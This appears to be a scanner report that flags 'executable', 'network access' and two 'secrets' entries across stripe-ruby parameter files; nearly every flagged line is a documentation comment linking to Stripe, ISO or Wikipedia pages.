packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_grant_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    # Three-letter [ISO code for the currency](https://stripe.com/docs/currencies) of the `value` parameter.
  • Network accessline 59
    # Configuration specifying what this credit grant applies to. We currently only support `metered` prices that have a [Billing Meter](https://docs.stripe.com/api/billing/meter) attached to them.

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_grant_expire_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_grant_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_grant_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_grant_update_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/credit_grant_void_grant_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_deactivate_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_event_adjustment_create_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_event_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 13
    # The payload of the event. This must contain the fields corresponding to a meter's `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and `value_settings.event_payload_key` (default is `value`). Read more about the [pay

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_event_summary_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_reactivate_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing/meter_update_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing_portal/configuration_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 131
    # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to th
  • Network accessline 191
    # Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take your customers to a hosted login page for the customer porta
  • Network accessline 200
    # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/create#create_portal_session-return_url) when creating t
  • Network accessline 206
    # The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share).
  • Network accessline 208
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing_portal/configuration_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing_portal/configuration_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing_portal/configuration_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 131
    # Determines the value to use for the billing cycle anchor on subscription updates. Valid values are `now` or `unchanged`, and the default value is `unchanged`. Setting the value to `now` resets the subscription's billing cycle anchor to th
  • Network accessline 191
    # Set to `true` to generate a shareable URL [`login_page.url`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_object-login_page-url) that will take your customers to a hosted login page for the customer porta
  • Network accessline 204
    # The default URL to redirect customers to when they click on the portal's link to return to your website. This can be [overriden](https://docs.stripe.com/api/customer_portal/sessions/create#create_portal_session-return_url) when creating t
  • Network accessline 210
    # The hosted login page for this configuration. Learn more about the portal login page in our [integration docs](https://stripe.com/docs/billing/subscriptions/integrating-customer-portal#share).
  • Network accessline 212
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/billing_portal/session_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 94
    # The ID of the [subscription item](https://docs.stripe.com/api/subscriptions/object#subscription_object-items-data-id) to be updated.
  • Network accessline 96
    # The price the customer should subscribe to through this flow. The price must also be included in the configuration's [`features.subscription_update.products`](https://docs.stripe.com/api/customer_portal/configuration#portal_configuration_
  • Network accessline 98
    # [Quantity](https://docs.stripe.com/subscriptions/quantities) for this item that the customer should subscribe to through this flow.
  • Network accessline 109
    # The [subscription item](https://docs.stripe.com/api/subscription_items) to be updated through this flow. Currently, only up to one may be specified and subscriptions with multiple items are not updatable.
  • Network accessline 145
    # The ID of an existing [configuration](https://docs.stripe.com/api/customer_portal/configuration) to use for this session, describing its functionality and features. If not specified, the session uses the default configuration.
  • Network accessline 153
    # Information about a specific flow for the customer to go through. See the [docs](https://docs.stripe.com/customer-management/portal-deep-links) to learn more about using customer portal deep links and flows.
  • Network accessline 157
    # The `on_behalf_of` account to use for this session. When specified, only subscriptions and invoices with this `on_behalf_of` account appear in the portal. For more information, see the [docs](https://docs.stripe.com/connect/separate-charg

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/charge_capture_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 24
    # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [
  • Network accessline 28
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 30
    # An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details.
  • Network accessline 32
    # A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) f

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/charge_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 19
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 31
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 39
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 89
    # Amount intended to be collected by this payment. A positive integer representing how much to charge in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal) (e.g., 100 cents to charge $1.00 or 100 to charge ¥100, a
  • Network accessline 93
    # A fee in cents (or local equivalent) that will be applied to the charge and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the `Stripe-Account` header in order to take an application f
  • Network accessline 95
    # Whether to immediately capture the charge. Defaults to `true`. When `false`, the charge issues an authorization (or pre-authorization), and will need to be [captured](https://api.stripe.com#capture_charge) later. Uncaptured charges expire
  • Network accessline 97
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 107
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 109
    # The Stripe account ID for which these funds are intended. You can specify the business of record as the connected account using the `on_behalf_of` attribute on the charge. For details, see [Creating Separate Charges and Transfers](https:/
  • Network accessline 111
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 113
    # The email address to which this charge's [receipt](https://docs.stripe.com/dashboard/receipts) will be sent. The receipt will not be sent until the charge is paid, and no receipts will be sent for test mode charges. If this charge is for 
  • Network accessline 117
    # A payment source to be charged. This can be the ID of a [card](https://docs.stripe.com/api#cards) (i.e., credit or debit card), a [bank account](https://docs.stripe.com/api#bank_accounts), a [source](https://docs.stripe.com/api#sources), 
  • Network accessline 119
    # For a non-card charge, text that appears on the customer's statement as the statement descriptor. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [
  • Network accessline 123
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 125
    # An optional dictionary including the account to automatically transfer to as part of a destination charge. [See the Connect documentation](https://docs.stripe.com/connect/destination-charges) for details.
  • Network accessline 127
    # A string that identifies this transaction as part of a group. For details, see [Grouping transactions](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/charge_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/charge_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/charge_search_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # The search query string. See [search query language](https://docs.stripe.com/search#search-query-language) and the list of supported [query fields for charges](https://docs.stripe.com/search#query-fields-for-charges).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/charge_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 19
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 27
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 73
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 79
    # A string that identifies this transaction as part of a group. `transfer_group` may only be provided if it has not been set. See the [Connect documentation](https://docs.stripe.com/connect/separate-charges-and-transfers#transfer-options) f

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/checkout/session_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 8
    # If set to `true`, Adaptive Pricing is available on [eligible sessions](https://docs.stripe.com/payments/currencies/localize-prices/adaptive-pricing?payment-ui=stripe-hosted#restrictions). Defaults to your [dashboard setting](https://dashb
  • Network accessline 50
    # Set to `true` to [calculate tax automatically](https://docs.stripe.com/tax) using the customer's location.
  • Network accessline 65
    # The ID of a [File upload](https://stripe.com/docs/api/files) representing the icon. Purpose must be `business_icon`. Required if `type` is `file` and disallowed otherwise.
  • Network accessline 80
    # The ID of a [File upload](https://stripe.com/docs/api/files) representing the logo. Purpose must be `business_logo`. Required if `type` is `file` and disallowed otherwise.
  • Network accessline 101
    # The font family for the Checkout Session corresponding to one of the [supported font families](https://docs.stripe.com/payments/checkout/customization/appearance?payment-ui=stripe-hosted#font-compatibility).
  • Network accessline 143
    # If set to `required`, it requires customers to check a terms of service checkbox before being able to pay.         # There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public)
  • Network accessline 144
    # There must be a valid terms of service URL set in your [Dashboard settings](https://dashboard.stripe.com/settings/public).
  • Network accessline 387
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 443
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 447
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 480
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 482
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.
  • Network accessline 484
    # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.
  • Network accessline 488
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 515
    # The [tax rates](https://docs.stripe.com/api/tax_rates) that will be applied to this line item depending on the customer's billing/shipping address. We currently support the following countries: US, GB, AU, and all countries in the EU.
  • Network accessline 517
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 519
    # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object. One of `price` or `price_data` is required.
  • Network accessline 521
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required.
  • Network accessline 525
    # The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item.
  • Network accessline 599
    # The ID of the [Price](https://docs.stripe.com/api/prices) or [Plan](https://docs.stripe.com/api/plans) object.
  • Network accessline 616
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 624
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 677
    # The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. The amount of the application fee collected will be capped at the total amount captu
  • Network accessline 683
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 689
    # Email address that the receipt for the resulting payment will be sent to. If `receipt_email` is specified for a payment in live mode, a receipt will be sent regardless of your [email settings](https://dashboard.stripe.com/account/emails).
  • Network accessline 691
    # Indicates that you intend to [make future payments](https://docs.stripe.com/payments/payment-intents#future-usage) with the payment
  • Network accessline 714
    # Text that appears on the customer's statement as the statement descriptor for a non-card charge. This value overrides the account's default statement descriptor. For information about requirements, including the 22-character limit, see [t
  • Network accessline 716
    # Setting this value for a card charge returns an error. For card charges, set the [statement_descriptor_suffix](https://docs.stripe.com/get-started/account/statement-descriptors#dynamic) instead.
  • Network accessline 718
    # Provides information about a card charge. Concatenated to the account's [statement descriptor prefix](https://docs.stripe.com/get-started/account/statement-descriptors#static) to form the complete statement descriptor that appears on the 
  • Network accessline 720
    # The parameters used to automatically create a Transfer when the payment succeeds.         # For more information, see the PaymentIntents [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 721
    # For more information, see the PaymentIntents [use case for connected accounts](https://docs.stripe.com/payments/connected-accounts).
  • Network accessline 723
    # A string that identifies the resulting payment as part of a group. See the PaymentIntents [use case for connected accounts](https://docs.stripe.com/connect/separate-charges-and-transfers) for details.
  • Access to secretsline 768
    [Credential-related source omitted]
  • Access to secretsline 769
    [Credential-related source omitted]
  • Network accessline 794
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). This is only accepted for Checkout Sessions in `setup` mode.
  • Network accessline 1024
    # We strongly recommend that you rely on our SCA Engine to automatically prompt your customers for authentication based on risk level and [other requirements](https://docs.stripe.com/strong-customer-authentication). However, if you wish to 
  • Network accessline 1467
    # [Preferred locale](https://docs.stripe.com/payments/paypal/supported-locales) of the PayPal checkout page that the customer is redirected to.
  • Network accessline 1972
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 2045
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2047
    # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 2062
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 2066
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
  • Network accessline 2169
    # A non-negative decimal between 0 and 100, with at most two decimal places. This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. To use an application fee perc
  • Network accessline 2179
    # The subscription's description, meant to be displayable to the customer.         # Use this field to optionally store an explanation of the subscription         # for rendering in the [customer portal](https://docs.stripe.com/customer-man
  • Network accessline 2181
    # for rendering in the [customer portal](https://docs.stripe.com/customer-management).
  • Network accessline 2185
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 2259
    # Settings for price localization with [Adaptive Pricing](https://docs.stripe.com/payments/checkout/adaptive-pricing).
  • Network accessline 2279
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). Required in `setup` mode when `payment_method_types` is not set.
  • Network accessline 2285
    # ID of an existing Customer, if one exists. In `payment` mode, the customer’s most recently saved card       # payment method will be used to prefill the email, name, card details, and billing address       # on the Checkout page. In `subs
  • Network accessline 2286
    # payment method will be used to prefill the email, name, card details, and billing address       # on the Checkout page. In `subscription` mode, the customer’s [default payment method](https://docs.stripe.com/api/customers/update#update_cu
  • Network accessline 2287
    # on the Checkout page. In `subscription` mode, the customer’s [default payment method](https://docs.stripe.com/api/customers/update#update_customer-invoice_settings-default_payment_method)
  • Network accessline 2288
    # will be used if it’s a card, otherwise the most recently saved card will be used. A valid billing address, billing name and billing email are required on the payment method for Checkout to prefill the customer's card details.       #     
  • Network accessline 2289
    #       # If the Customer already has a valid [email](https://docs.stripe.com/api/customers/object#customer_object-email) set, the email will be prefilled and not editable in Checkout.       # If the Customer does not have a valid `email`, 
  • Network accessline 2290
    # If the Customer already has a valid [email](https://docs.stripe.com/api/customers/object#customer_object-email) set, the email will be prefilled and not editable in Checkout.
  • Network accessline 2293
    # If blank for Checkout Sessions in `subscription` mode or with `customer_creation` set as `always` in `payment` mode, Checkout will create a new Customer object based on information provided during the payment flow.       #       # You can
  • Network accessline 2295
    # You can set [`payment_intent_data.setup_future_usage`](https://docs.stripe.com/api/checkout/sessions/create#create_checkout_session-payment_intent_data-setup_future_usage) to have Checkout automatically attach the payment method to the Cu
  • Network accessline 2299
    # Configure whether a Checkout Session creates a [Customer](https://docs.stripe.com/api/customers) during Session confirmation.
  • Network accessline 2300
    #       # When a Customer is not created, you can still retrieve email, address, and other customer data entered in Checkout       # with [customer_details](https://docs.stripe.com/api/checkout/sessions/object#checkout_session_object-custom
  • Network accessline 2301
    # When a Customer is not created, you can still retrieve email, address, and other customer data entered in Checkout       # with [customer_details](https://docs.stripe.com/api/checkout/sessions/object#checkout_session_object-customer_detai
  • Network accessline 2302
    # with [customer_details](https://docs.stripe.com/api/checkout/sessions/object#checkout_session_object-customer_details).
  • Network accessline 2303
    #       # Sessions that don't create Customers instead are grouped by [guest customers](https://docs.stripe.com/payments/checkout/guest-customers)       # in the Dashboard. Promotion codes limited to first time customers will return invalid
  • Network accessline 2304
    # Sessions that don't create Customers instead are grouped by [guest customers](https://docs.stripe.com/payments/checkout/guest-customers)
  • Network accessline 2319
    # A list of the types of payment methods (e.g., `card`) that should be excluded from this Checkout Session. This should only be used when payment methods for this Checkout Session are managed through the [Stripe Dashboard](https://dashboard
  • Network accessline 2327
    # A list of items the customer is purchasing. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices). The parameter is required for `payment` and `subscription` mode.
  • Network accessline 2335
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 2341
    # You can configure Checkout to collect your customers' business names, individual names, or both. Each name field can be either required or optional.       #       # If a [Customer](https://docs.stripe.com/api/customers) is created or prov
  • Network accessline 2343
    # If a [Customer](https://docs.stripe.com/api/customers) is created or provided, the names can be saved to the Customer object as well.
  • Network accessline 2345
    # A list of optional items the customer can add to their order at checkout. Use this parameter to pass one-time or recurring [Prices](https://docs.stripe.com/api/prices).
  • Network accessline 2360
    # Can only be set in `subscription` mode. Defaults to `always`.       #       # If you'd like information on how to collect a payment method outside of Checkout, read the guide on configuring [subscriptions with a free trial](https://docs.s
  • Network accessline 2362
    # If you'd like information on how to collect a payment method outside of Checkout, read the guide on configuring [subscriptions with a free trial](https://docs.stripe.com/payments/checkout/free-trials).
  • Network accessline 2370
    # A list of the types of payment methods (e.g., `card`) this Checkout Session can accept.       #       # You can omit this attribute to manage your payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_m
  • Network accessline 2371
    #       # You can omit this attribute to manage your payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods).       # See [Dynamic Payment Methods](https://docs.stripe.com/payments/payment-methods/
  • Network accessline 2372
    # You can omit this attribute to manage your payment methods from the [Stripe Dashboard](https://dashboard.stripe.com/settings/payment_methods).
  • Network accessline 2373
    # See [Dynamic Payment Methods](https://docs.stripe.com/payments/payment-methods/integration-options#using-dynamic-payment-methods) for more details.
  • Network accessline 2387
    #       # We recommend that you review your privacy policy and check with your legal contacts       # before using this feature. Learn more about [collecting phone numbers with Checkout](https://docs.stripe.com/payments/checkout/phone-numbe
  • Network accessline 2389
    # before using this feature. Learn more about [collecting phone numbers with Checkout](https://docs.stripe.com/payments/checkout/phone-numbers).
  • Network accessline 2391
    # This parameter applies to `ui_mode: embedded`. Learn more about the [redirect behavior](https://docs.stripe.com/payments/checkout/custom-success-page?payment-ui=embedded-form) of embedded sessions. Defaults to `always`.
  • Network accessline 2414
    # This parameter is not allowed if ui_mode is `embedded` or `custom`. If you'd like to use       # information from the successful Checkout Session on your page, read the       # guide on [customizing your success page](https://docs.stripe.
  • Network accessline 2416
    # guide on [customizing your success page](https://docs.stripe.com/payments/checkout/custom-success-page).

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/checkout/session_expire_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/checkout/session_line_item_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/checkout/session_list_line_items_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/checkout/session_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/checkout/session_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/checkout/session_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 12
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 20
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 79
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 83
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID.
  • Network accessline 116
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 118
    # The ID of the [Product](https://docs.stripe.com/api/products) that this [Price](https://docs.stripe.com/api/prices) will belong to. One of `product` or `product_data` is required.
  • Network accessline 120
    # Data used to generate a new [Product](https://docs.stripe.com/api/products) object inline. One of `product` or `product_data` is required.
  • Network accessline 124
    # Only required if a [default tax behavior](https://docs.stripe.com/tax/products-prices-tax-categories-tax-behavior#setting-a-default-tax-behavior-(recommended)) was not provided in the Stripe Tax settings. Specifies whether the price is co
  • Network accessline 153
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 155
    # The ID of the [Price](https://docs.stripe.com/api/prices). One of `price` or `price_data` is required when creating a new line item.
  • Network accessline 157
    # Data used to generate a new [Price](https://docs.stripe.com/api/prices) object inline. One of `price` or `price_data` is required when creating a new line item.
  • Network accessline 161
    # The [tax rates](https://docs.stripe.com/api/tax_rates) which apply to this line item.
  • Network accessline 234
    # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 236
    # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies).
  • Network accessline 251
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 255
    # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`.
  • Network accessline 306
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/order_cancel_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/order_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 19
    # Request currency for the order as a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a supported [settlement currency for your account](https://stripe.com/docs/currencies). If omitt
  • Network accessline 23
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/order_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/order_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/order_update_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 19
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/product_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/product_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/supplier_list_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/climate/supplier_retrieve_params.rb

  • Executable scriptline 1
    Executable file

packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/lib/stripe/params/confirmation_token_create_params.rb

  • Executable scriptline 1
    Executable file
  • Network accessline 59
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 67
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 262
    # A [Radar Session](https://docs.stripe.com/radar/radar-session) is a snapshot of the browser metadata and device details that help Radar make more accurate predictions on your payments.
  • Network accessline 382
    # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
  • Network accessline 410
    # Options to configure Radar. See [Radar Session](https://docs.stripe.com/radar/radar-session) for more information.
  • Network accessline 595
    # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)).
  • Network accessline 603
    # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)).
  • Network accessline 645
